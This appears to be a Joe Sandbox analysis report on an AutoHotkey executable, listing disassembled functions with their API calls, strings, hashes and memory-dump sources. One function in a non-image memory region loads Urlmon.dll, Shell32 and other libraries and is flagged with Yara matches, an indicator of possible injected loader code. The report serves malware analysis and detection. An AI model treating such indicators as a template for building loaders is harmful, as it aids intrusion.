Opcode ID: 771a2ceb65daeb4ccfe632aa79a1d4b741da70bfd7ee2ef69d693ce1f936a359
Instruction ID: 1bd96417fd114b07a05b0c9843a93a474b6c2919aee6f4c6e01d8f9ec8e7b48c
Opcode Fuzzy Hash: 771a2ceb65daeb4ccfe632aa79a1d4b741da70bfd7ee2ef69d693ce1f936a359
Instruction Fuzzy Hash: 87911231901240CBDB24CF64DC94B6AB7A1AB89318F14272FE455873E1D778E881CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 0043153B Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 353windowclipboardCOMMON

Download Yara Rule

APIs

GlobalUnlock.KERNEL32(00000000), ref: 00430A6C
CloseClipboard.USER32 ref: 00430A7C
GetTickCount.KERNEL32 ref: 00430A8E
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00430ABA
_free.LIBCMT ref: 004316DF

Strings

v1j, xrefs: 00430AA8
Jumps cannot exit a FINALLY block., xrefs: 004351C7

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ClipboardCloseCountGlobalMessagePeekTickUnlock_free
String ID: Jumps cannot exit a FINALLY block.$v1j
API String ID: 3618655587-1623723626
Opcode ID: 0cf29cc3de1e8a8369243b8842714e750fc69a231f3109ef4fc94c13b0bb7e20
Instruction ID: 3c9fa57c14b40288f7ba373758355d400465fa60aefd10318e9f9a61d0133e04
Opcode Fuzzy Hash: 0cf29cc3de1e8a8369243b8842714e750fc69a231f3109ef4fc94c13b0bb7e20
Instruction Fuzzy Hash: BEE1DF71A05340CFDB24CF14D89476AB7E1AB8C314F185A6FE8858B3A1D779AC81CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00432E18 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 205
windowclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0043B100: __wcsicoll.LIBCMT ref: 0043B167
Part of subcall function 0043B100: __wcsicoll.LIBCMT ref: 0043B179
Part of subcall function 0043B100: __wcsicoll.LIBCMT ref: 0043B18B
Part of subcall function 0043B100: __wcsicoll.LIBCMT ref: 0043B19D
Part of subcall function 0043B100: __wcsicoll.LIBCMT ref: 0043B1AF
Part of subcall function 0043B100: __wcsicoll.LIBCMT ref: 0043B1C1

GlobalUnlock.KERNEL32(00000000), ref: 00430A6C
CloseClipboard.USER32 ref: 00430A7C
GetTickCount.KERNEL32 ref: 00430A8E
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00430ABA
GetTickCount.KERNEL32 ref: 00430AD0
GetTickCount.KERNEL32 ref: 00430B94

Strings

UseErrorLevel, xrefs: 00432E1E
v1j, xrefs: 00430AA8
ERROR, xrefs: 00432E88

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll$CountTick$ClipboardCloseGlobalMessagePeekUnlock
String ID: ERROR$UseErrorLevel$v1j
API String ID: 2063310290-790589029
Opcode ID: 5b5d3b5fd520e935eb1a03831ee7398925bf2b254f0d6b30c2d7a7a61c296efa
Instruction ID: 1c23e83de0c117d21b56a764eb93755c363dab47ebdd6569de202c22211348f6
Opcode Fuzzy Hash: 5b5d3b5fd520e935eb1a03831ee7398925bf2b254f0d6b30c2d7a7a61c296efa
Instruction Fuzzy Hash: 2C811431501240DBDB24CF64ECA5B6A77A1AB49318F14172FE8558B3E1C378E880CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6C0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 146
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0041E6D3

Part of subcall function 0049A0EE: __FF_MSGBANNER.LIBCMT ref: 0049A107
Part of subcall function 0049A0EE: __NMSG_WRITE.LIBCMT ref: 0049A10E
Part of subcall function 0049A0EE: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,004A1668,00401234,00000001,00401234,?,0049EB7D,00000018,004CFE28,0000000C,0049EC0D), ref: 0049A133

SetTimer.USER32(0002044A,0000000E,04EF6D80,00403EB0), ref: 0041E716
_free.LIBCMT ref: 0041E876

Strings

6Dd, xrefs: 0041E789
Auto-execute, xrefs: 0041E7D7

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: AllocateHeapTimer_free_malloc
String ID: 6Dd$Auto-execute
API String ID: 92111083-2964622979
Opcode ID: 5e0751b59cbc549159088c6fc51c296ccd3178d320893de69906cb5eda0d67ec
Instruction ID: d486a3a8f4b7bb8aae1d05632f1aa42ca788c03b187c766bbc2568cac54553ae
Opcode Fuzzy Hash: 5e0751b59cbc549159088c6fc51c296ccd3178d320893de69906cb5eda0d67ec
Instruction Fuzzy Hash: 04517171602244DFD710EF69EC44B863BE5EB45304F04447BE9059F3A1D77A9890CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 04876655 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 29
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0489EBBD,00000000,0489F18F,?,00000000,00000000), ref: 04876660
LoadLibraryA.KERNELBASE(Urlmon.dll,?,0489EBBD,00000000,0489F18F,?,00000000,00000000), ref: 0487668C

Strings

LoadLibraryA, xrefs: 04876674
Urlmon.dll, xrefs: 04876687
Shell32.dll, xrefs: 048766AB
kernel32.dll, xrefs: 0487665B
ntdll.dll, xrefs: 048766B7
user32.dll, xrefs: 04876693
Advapi32.dll, xrefs: 0487669F

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID: Advapi32.dll$LoadLibraryA$Shell32.dll$Urlmon.dll$kernel32.dll$ntdll.dll$user32.dll
API String ID: 4133054770-1140356178
Opcode ID: 1fdbb4e138f6cd60da1ea982b705595acccd19097ba76bf0d2a41ee3043da791
Instruction ID: a8b5fe9f5d7154b3df09affc72747b99c058a2f5a5a73ab24934d310c8e46103
Opcode Fuzzy Hash: 1fdbb4e138f6cd60da1ea982b705595acccd19097ba76bf0d2a41ee3043da791
Instruction Fuzzy Hash: 78F0FFB0D50B10AFBB005F6094999263FE0FB086153404D65E611DA718E7B8A8A5DF53

Uniqueness

Uniqueness Score: -1.00%

Function 00434CF9 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 207
registrywindowclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalUnlock.KERNEL32(00000000), ref: 00430A6C
CloseClipboard.USER32 ref: 00430A7C
GetTickCount.KERNEL32 ref: 00430A8E
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00430ABA
GetTickCount.KERNEL32 ref: 00430AD0
RegCloseKey.ADVAPI32(00000000), ref: 00434D7D

Strings

v1j, xrefs: 00430AA8

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CloseCountTick$ClipboardGlobalMessagePeekUnlock
String ID: v1j
API String ID: 4107439908-3288809988
Opcode ID: fd23c9ca712ba4944c3425817a9188721248c35d1d7eccde78ecf171f2a8b04b
Instruction ID: b4eaf1b2afa2be916430221c66fee28cf9f2de17dabcaf2ed509ed2ee542ca81
Opcode Fuzzy Hash: fd23c9ca712ba4944c3425817a9188721248c35d1d7eccde78ecf171f2a8b04b
Instruction Fuzzy Hash: 0881E231505241DBDB24CF64ECA4B6ABBA1AB4D318F14672FE456873A1C778E880CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040155B Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 162windowtimeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(0002044A,00000009,0000000A), ref: 004015C4
GetTickCount.KERNEL32 ref: 004015E9
GetMessageW.USER32(?,00000000,00000000,-00000311), ref: 00401630
GetTickCount.KERNEL32 ref: 0040163B
GetFocus.USER32 ref: 004016D4

Part of subcall function 00403620: joyGetPosEx.WINMM ref: 0040364F

TranslateAcceleratorW.USER32(00000000,?,?), ref: 0040171A
IsDialogMessageW.USER32(?,?), ref: 00401CC7

Part of subcall function 004741A0: SendMessageW.USER32(00000000,00001304,00000000,00000000), ref: 004741BA

Strings

8&, xrefs: 00401613
6Dd, xrefs: 00401646

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Message$CountTick$AcceleratorDialogFocusSendTimerTranslate
String ID: 6Dd$8&
API String ID: 3283625497-313529520
Opcode ID: 5245b7eac679e0a01c879c8293627842c19f5bbd6238c481323e15d34c75a816
Instruction ID: 162076b36842e91a3c5a0614aa55ad1b7b1d21a0011bb990f07feb905fbfb45b
Opcode Fuzzy Hash: 5245b7eac679e0a01c879c8293627842c19f5bbd6238c481323e15d34c75a816
Instruction Fuzzy Hash: F751A071A083409BDB219B28C88476F77E4AB96708F04093FF586A73F1D7799C81C75A

Uniqueness

Uniqueness Score: -1.00%

Function 00430A22 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 357windowclipboardCOMMON

Download Yara Rule

APIs

GlobalUnlock.KERNEL32(00000000), ref: 00430A6C
CloseClipboard.USER32 ref: 00430A7C
GetTickCount.KERNEL32 ref: 00430A8E
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00430ABA
GetTickCount.KERNEL32 ref: 00430AD0
GetTickCount.KERNEL32 ref: 00430B94

Strings

v1j, xrefs: 00430AA8

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
String ID: v1j
API String ID: 1623861271-3288809988
Opcode ID: ec6d875b76f5743fe2b10a3431b8053dee00b045df26903fa1f060ed728629ac
Instruction ID: 132dffe664e024bb5c2583ca6da2a2e01c136fcff41b0dc87331aba71bd6e7c5
Opcode Fuzzy Hash: ec6d875b76f5743fe2b10a3431b8053dee00b045df26903fa1f060ed728629ac
Instruction Fuzzy Hash: 32E1CF31604341CFD724CF18D8A4B6AB7E1EB89314F145B6FE8498B3A1D779E881CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00431B19 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 198windowclipboardCOMMON

Download Yara Rule

APIs

GlobalUnlock.KERNEL32(00000000), ref: 00430A6C
CloseClipboard.USER32 ref: 00430A7C
GetTickCount.KERNEL32 ref: 00430A8E
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00430ABA
GetTickCount.KERNEL32 ref: 00430AD0

Strings

v1j, xrefs: 00430AA8

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
String ID: v1j
API String ID: 1623861271-3288809988
Opcode ID: 8c8b7718764f34e54e0668513aaba27ce4404210dc5117919ee7535baa89316c
Instruction ID: 62f22c898de131cd45a934dd862476dbbfc6fb8e9f14a0bf904b656a1b10db3e
Opcode Fuzzy Hash: 8c8b7718764f34e54e0668513aaba27ce4404210dc5117919ee7535baa89316c
Instruction Fuzzy Hash: D771C431505241CBDB24CF64D8A476AB7E1EB4D318F24276FE4568B3E1D378A881CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 0041D690 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 175comCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041D8DC
InitializeCriticalSection.KERNEL32(004D85F4,004DA728), ref: 0041D99D
OleInitialize.OLE32(00000000), ref: 0041D9A4

Part of subcall function 0041EB40: _wcsncpy.LIBCMT ref: 0041EB94
Part of subcall function 0041EB40: SetCurrentDirectoryW.KERNEL32(004B0CF8,00000000,004DA6A0,004DA6A0,00000000), ref: 0041EC00

Strings

OU@, xrefs: 0041D6B9
Tray, xrefs: 0041D8E9
No tray mem, xrefs: 0041D903
Clipboard, xrefs: 0041D925, 0041D93B, 0041D960

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Initialize$CriticalCurrentDirectorySection_memset_wcsncpy
String ID: Clipboard$No tray mem$OU@$Tray
API String ID: 1348406673-106978176
Opcode ID: 857b7b82d80a3cff33b9350a7bfe815733e11f48f16bc4729da09dfe9775ca05
Instruction ID: 6afa78df98753c373e6af0059bf7c5f161b21597b71d9aec5a4e44b034e9a5f5
Opcode Fuzzy Hash: 857b7b82d80a3cff33b9350a7bfe815733e11f48f16bc4729da09dfe9775ca05
Instruction Fuzzy Hash: 2E81CDB2907380DAC310CF1AACA965ABBF4F749744B9686BFD05887361C7784454CF9E

Uniqueness

Uniqueness Score: -1.00%

Function 00451080 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 172memoryCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 004510B9
VirtualAlloc.KERNELBASE ref: 0045115F
GetLastError.KERNEL32 ref: 004511BC
__itow.LIBCMT ref: 004511E8

Strings

0, xrefs: 0045123F
DllCall, xrefs: 00451261

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ErrorLast$AllocVirtual__itow
String ID: 0$DllCall
API String ID: 1132559366-1800201163
Opcode ID: 6526fdc36a5729697fe104dbb7a38d01a64fcdf3698366028a24c1643c9ea077
Instruction ID: 97e51f85f288f7df93021d39dfbe73acebd7c0b91efe73e9ad3ef109a337fe02
Opcode Fuzzy Hash: 6526fdc36a5729697fe104dbb7a38d01a64fcdf3698366028a24c1643c9ea077
Instruction Fuzzy Hash: CB6182B0E01208DFDF14CF98D885BAEBBB4FB08315F20426AE915A73A1D7785845CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00431769 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160windowclipboardCOMMON

Download Yara Rule

APIs

GlobalUnlock.KERNEL32(00000000), ref: 00430A6C
CloseClipboard.USER32 ref: 00430A7C
GetTickCount.KERNEL32 ref: 00430A8E
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00430ABA
GetTickCount.KERNEL32 ref: 00430AD0
GetTickCount.KERNEL32 ref: 00430B94

Strings

v1j, xrefs: 00430AA8

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
String ID: v1j
API String ID: 1623861271-3288809988
Opcode ID: 7d01cc2e55f2f2a5396af62285c3deaa0efd4267d2ab519a5fca75dcf6636b37
Instruction ID: 7a1efd68fd9881e8ab5ba3e2a02fedf52d28dbd9d965bd1842ddb91ef4da152f
Opcode Fuzzy Hash: 7d01cc2e55f2f2a5396af62285c3deaa0efd4267d2ab519a5fca75dcf6636b37
Instruction Fuzzy Hash: 3451D831505241CBDB24DF64ECA876A7BA1EB4D318F24276FE4558B3E1C378A881CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00430B58 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 159clipboardCOMMON

Download Yara Rule

APIs

GlobalUnlock.KERNEL32(00000000), ref: 00430A6C
CloseClipboard.USER32 ref: 00430A7C
GetTickCount.KERNEL32 ref: 00430A8E
GetTickCount.KERNEL32 ref: 00430B94

Strings

v1j, xrefs: 00430AA8

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountTick$ClipboardCloseGlobalUnlock
String ID: v1j
API String ID: 1740844442-3288809988
Opcode ID: 8ae004596be2c917d53da224fb9ab70e3914472bf9500bf870aa9d7be10f5720
Instruction ID: ae8bd58843cf7bf44b027188a16a8c9db86b53cea469b34f2be486d59955cc34
Opcode Fuzzy Hash: 8ae004596be2c917d53da224fb9ab70e3914472bf9500bf870aa9d7be10f5720
Instruction Fuzzy Hash: BE51E831505241CBDB24DF64ECA876A7BA1EB4D318F14276FE4558B3E1C378A880CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 004661BA Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 105timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004661D7
_malloc.LIBCMT ref: 004661F1
_free.LIBCMT ref: 00466490
GetTickCount.KERNEL32 ref: 004664C9
SetTimer.USER32(0002044A,0000000D,00002710,00446BB0), ref: 004664FF

Strings

Out of memory., xrefs: 00466208

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _free$CountTickTimer_malloc
String ID: Out of memory.
API String ID: 1890322348-4087320997
Opcode ID: 1a315e39e4fa2177a8afeb95969c62b4308369ff3a20e9d81c36d63ac81ddce6
Instruction ID: fe16b79cc7c962063084ee71072ee5d8b804547bf2e81d51d7a89d8302989c6c
Opcode Fuzzy Hash: 1a315e39e4fa2177a8afeb95969c62b4308369ff3a20e9d81c36d63ac81ddce6
Instruction Fuzzy Hash: A841A571A062019FDB109F29F8807AA7BE0E784315F19453BE885D3250EB79C95ACF9F

Uniqueness

Uniqueness Score: -1.00%

Function 00463C8D Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 316COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00463CA8

Strings

@oM, xrefs: 00463CD9

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _memmove
String ID: @oM
API String ID: 4104443479-1708334743
Opcode ID: 8ca462ccea4f09e7ed3f6d0956d08def34de915acddaddbcb7be33b10c84c3b8
Instruction ID: 5e98bab9c166f0a202d8b0d6cba12ce3acfa1a9217b36d403b81750b656f27b2
Opcode Fuzzy Hash: 8ca462ccea4f09e7ed3f6d0956d08def34de915acddaddbcb7be33b10c84c3b8
Instruction Fuzzy Hash: 23C1AF70A00A14CBDF24CF55C885B6AB7B1AF45714F28819BE8059F395E778DC81CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00466316 Relevance: 4.6, APIs: 3, Instructions: 113timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00466490
GetTickCount.KERNEL32 ref: 004664C9
SetTimer.USER32(0002044A,0000000D,00002710,00446BB0), ref: 004664FF

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountTickTimer_free
String ID:
API String ID: 4185866143-0
Opcode ID: ad33ac57b72d59aa90bbd664afa06d08a268b1f225ad4fcf0a97781ee8a4a10b
Instruction ID: 35cb573fa4c1e07c2f644300afc3854e8720968d066ee5e8e85e5eb6887dc83f
Opcode Fuzzy Hash: ad33ac57b72d59aa90bbd664afa06d08a268b1f225ad4fcf0a97781ee8a4a10b
Instruction Fuzzy Hash: 10418F71509340DFD710DF15E894BAB7BE4AB84708F09856FE88597350EB38D985CB4B

Uniqueness

Uniqueness Score: -1.00%

Function 00466382 Relevance: 4.6, APIs: 3, Instructions: 111timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00466490
GetTickCount.KERNEL32 ref: 004664C9
SetTimer.USER32(0002044A,0000000D,00002710,00446BB0), ref: 004664FF

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountTickTimer_free
String ID:
API String ID: 4185866143-0
Opcode ID: d9f95228d800ca3075c674674cdb42bdf37adbf6300ed46792d6929325df2ecc
Instruction ID: 01c7bb76e8e0bc40825685d81738a1852442c762348f7bbb3a74d180bf6c97d4
Opcode Fuzzy Hash: d9f95228d800ca3075c674674cdb42bdf37adbf6300ed46792d6929325df2ecc
Instruction Fuzzy Hash: E541ED70509240DFDB10DF24E880B9BBBE5AB95304F09892FE88587354E738D986CB5F

